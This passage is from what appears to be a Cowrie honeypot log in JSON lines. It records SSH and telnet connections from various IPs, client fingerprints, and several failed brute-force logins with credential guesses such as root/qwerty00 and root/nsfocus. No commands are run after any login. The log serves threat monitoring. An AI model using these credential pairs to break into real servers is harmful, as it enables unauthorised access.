{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":55472,"dst_ip":"159.203.135.109","dst_port":22,"session":"354884274bed","protocol":"ssh","message":"New connection: 217.168.240.63:55472 (159.203.135.109:22) [session: 354884274bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:00:10.283939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:00:10.294925Z","src_ip":"217.168.240.63","session":"354884274bed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:00:10.427989Z","src_ip":"217.168.240.63","session":"354884274bed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty00","message":"login attempt [root/qwerty00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:00:11.011957Z","src_ip":"217.168.240.63","session":"354884274bed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:00:12.147001Z","src_ip":"217.168.240.63","session":"354884274bed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":32926,"dst_ip":"159.203.135.109","dst_port":23,"session":"b86af5ab2949","protocol":"telnet","message":"New connection: 172.81.62.90:32926 (159.203.135.109:23) [session: b86af5ab2949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:00:59.182104Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":32928,"dst_ip":"159.203.135.109","dst_port":23,"session":"05584b6f49ca","protocol":"telnet","message":"New connection: 172.81.62.90:32928 (159.203.135.109:23) [session: 05584b6f49ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:00.193176Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":59478,"dst_ip":"10.17.0.5","dst_port":22,"session":"c69f6362ed4b","protocol":"ssh","message":"New connection: 79.104.0.82:59478 (10.17.0.5:22) [session: c69f6362ed4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:14.971659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:14.977118Z","src_ip":"79.104.0.82","session":"c69f6362ed4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:15.122962Z","src_ip":"79.104.0.82","session":"c69f6362ed4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maths","password":"123456","message":"login attempt [maths/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:15.735348Z","src_ip":"79.104.0.82","session":"c69f6362ed4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":60874,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9a3eed11ef9","protocol":"telnet","message":"New connection: 94.23.66.112:60874 (10.17.0.5:23) [session: e9a3eed11ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:16.225179Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:16.885111Z","src_ip":"79.104.0.82","session":"c69f6362ed4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":38922,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a3889e4ed99","protocol":"ssh","message":"New connection: 92.113.145.209:38922 (159.203.135.109:22) [session: 3a3889e4ed99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:27.262187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:27.266786Z","src_ip":"92.113.145.209","session":"3a3889e4ed99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:27.391434Z","src_ip":"92.113.145.209","session":"3a3889e4ed99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678Abc","message":"login attempt [root/12345678Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:27.930413Z","src_ip":"92.113.145.209","session":"3a3889e4ed99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:29.059195Z","src_ip":"92.113.145.209","session":"3a3889e4ed99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.707746505737305,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:35.889600Z","src_ip":"172.81.62.90","session":"b86af5ab2949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.885018825531006,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:36.078066Z","src_ip":"172.81.62.90","session":"05584b6f49ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":60614,"dst_ip":"159.203.135.109","dst_port":22,"session":"51bb15eaefbb","protocol":"ssh","message":"New connection: 101.47.159.125:60614 (159.203.135.109:22) [session: 51bb15eaefbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:36.285156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:36.289868Z","src_ip":"101.47.159.125","session":"51bb15eaefbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:36.538419Z","src_ip":"101.47.159.125","session":"51bb15eaefbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nsfocus","message":"login attempt [root/nsfocus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:37.565214Z","src_ip":"101.47.159.125","session":"51bb15eaefbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:38.823386Z","src_ip":"101.47.159.125","session":"51bb15eaefbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51218,"dst_ip":"159.203.135.109","dst_port":23,"session":"acf897cf59ab","protocol":"telnet","message":"New connection: 172.81.62.90:51218 (159.203.135.109:23) [session: acf897cf59ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:40.255314Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":59956,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e20ef27165","protocol":"telnet","message":"New connection: 94.23.66.112:59956 (10.17.0.5:23) [session: f6e20ef27165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:42.291140Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":34004,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a795379cbbb","protocol":"telnet","message":"New connection: 94.23.66.112:34004 (10.17.0.5:23) [session: 6a795379cbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:43.811567Z"}
{"eventid":"cowrie.session.closed","duration":0.0051860809326171875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:43.816482Z","src_ip":"94.23.66.112","session":"6a795379cbbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":55196,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c8c5b751fc9","protocol":"ssh","message":"New connection: 217.168.240.63:55196 (159.203.135.109:22) [session: 5c8c5b751fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:50.629464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:50.633741Z","src_ip":"217.168.240.63","session":"5c8c5b751fc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:50.768488Z","src_ip":"217.168.240.63","session":"5c8c5b751fc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdefgh","message":"login attempt [root/abcdefgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:51.344129Z","src_ip":"217.168.240.63","session":"5c8c5b751fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:52.482507Z","src_ip":"217.168.240.63","session":"5c8c5b751fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.284350395202637,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:01:57.575389Z","src_ip":"94.23.66.112","session":"f6e20ef27165","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40377926826477,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:12.658956Z","src_ip":"172.81.62.90","session":"acf897cf59ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46412,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dbe752176b5","protocol":"ssh","message":"New connection: 77.94.47.83:46412 (10.17.0.5:22) [session: 6dbe752176b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:16.335195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:16.343593Z","src_ip":"77.94.47.83","session":"6dbe752176b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:16.453582Z","src_ip":"77.94.47.83","session":"6dbe752176b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":59234,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfe62c159b16","protocol":"ssh","message":"New connection: 109.237.96.109:59234 (159.203.135.109:22) [session: dfe62c159b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:16.780445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:16.785803Z","src_ip":"109.237.96.109","session":"dfe62c159b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"564236","message":"login attempt [root/564236] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:16.815436Z","src_ip":"77.94.47.83","session":"6dbe752176b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1427,"dst_ip":"10.17.0.5","dst_port":22,"session":"42b69200dacd","protocol":"ssh","message":"New connection: 102.88.137.80:1427 (10.17.0.5:22) [session: 42b69200dacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:16.846501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:16.860493Z","src_ip":"102.88.137.80","session":"42b69200dacd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:16.877396Z","src_ip":"109.237.96.109","session":"dfe62c159b16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-s